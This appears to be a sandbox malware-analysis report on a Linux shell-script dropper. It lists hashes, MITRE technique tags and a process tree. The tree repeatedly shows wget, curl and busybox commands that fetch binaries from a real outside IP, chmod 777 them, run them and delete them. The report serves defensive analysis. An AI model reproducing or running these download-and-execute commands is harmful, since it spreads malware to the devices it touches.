87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3

Analysis

max time kernel
81s
max time network
84s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/10/2024, 02:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3.sh
Size 10KB
Sample241030-ddekyswpcm
SHA256 87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3
MD5 61e83457cfb41c7529cd65c1a4ede028
SHA1 55bbc583c8bd78f293ec52db2bc4129d6f061942
SHA512 86c82400fd8097f3897c6f5fe4efce0f2ca9ca858eadbde803449471ec4c74d9f699a283f291d7338d015eb6e64bff98b0b4dc2588e4a3da08f14efd278015d2
SSDEEP 192:1GmfiGFjHK92CjsMOT/XklJo7q4DHSB5REGmfiGFjH62CjsMG/XklJCDHSB5RI:1GmfiGFjHK6T/XklJo7qtGGmfiGFjHnL
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
871	chmod
961	chmod
955	chmod
733	chmod
739	chmod
754	chmod
913	chmod
865	chmod
901	chmod
943	chmod
967	chmod
859	chmod
883	chmod
889	chmod
907	chmod
919	chmod
931	chmod
727	chmod
777	chmod
802	chmod
811	chmod
949	chmod
877	chmod
895	chmod
925	chmod
937	chmod
817	chmod
843	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	curl
File opened for modification	/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	curl
File opened for modification	/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	curl
File opened for modification	/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	curl
File opened for modification	/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	curl
File opened for modification	/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	curl
File opened for modification	/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	curl
File opened for modification	/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	curl
File opened for modification	/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	curl
File opened for modification	/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	curl
File opened for modification	/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	curl
File opened for modification	/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	curl
File opened for modification	/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	curl
File opened for modification	/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	curl
File opened for modification	/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	curl
File opened for modification	/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	curl
File opened for modification	/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	curl
File opened for modification	/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	curl
File opened for modification	/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	curl
File opened for modification	/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	curl
File opened for modification	/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	curl
File opened for modification	/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	curl
File opened for modification	/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	curl
File opened for modification	/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	curl
File opened for modification	/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	curl
File opened for modification	/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	curl
File opened for modification	/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	curl
File opened for modification	/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	curl

/tmp/87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3.sh
/tmp/87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:698
- /usr/bin/wget
  wget http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:724
- /bin/chmod
  chmod 777 M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  ./M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Executes dropped EXE
  PID:728
- /bin/rm
  rm M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:729
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:732
- /bin/chmod
  chmod 777 Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  ./Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:735
- /usr/bin/wget
  wget http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:736
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:738
- /bin/chmod
  chmod 777 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  ./5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:741
- /usr/bin/wget
  wget http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:750
- /bin/chmod
  chmod 777 KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  ./KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:758
- /usr/bin/wget
  wget http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:773
- /bin/chmod
  chmod 777 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  ./62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:781
- /usr/bin/wget
  wget http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:800
- /bin/chmod
  chmod 777 fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  ./fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:804
- /usr/bin/wget
  wget http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:810
- /bin/chmod
  chmod 777 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  ./2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:816
- /bin/chmod
  chmod 777 FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  ./FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:839
- /bin/chmod
  chmod 777 iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  ./iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:848
- /usr/bin/wget
  wget http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:858
- /bin/chmod
  chmod 777 PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  ./PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:861
- /usr/bin/wget
  wget http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:864
- /bin/chmod
  chmod 777 dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  ./dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:870
- /bin/chmod
  chmod 777 CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  ./CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:876
- /bin/chmod
  chmod 777 aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  ./aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:882
- /bin/chmod
  chmod 777 UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  ./UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:888
- /bin/chmod
  chmod 777 M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  ./M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:894
- /bin/chmod
  chmod 777 Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  ./Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:900
- /bin/chmod
  chmod 777 KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  ./KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:906
- /bin/chmod
  chmod 777 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  ./62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:912
- /bin/chmod
  chmod 777 fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  ./fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:918
- /bin/chmod
  chmod 777 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  ./2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:924
- /bin/chmod
  chmod 777 FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  ./FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:930
- /bin/chmod
  chmod 777 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  ./5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:936
- /bin/chmod
  chmod 777 iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  ./iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:942
- /bin/chmod
  chmod 777 PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  ./PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:948
- /bin/chmod
  chmod 777 dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  ./dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
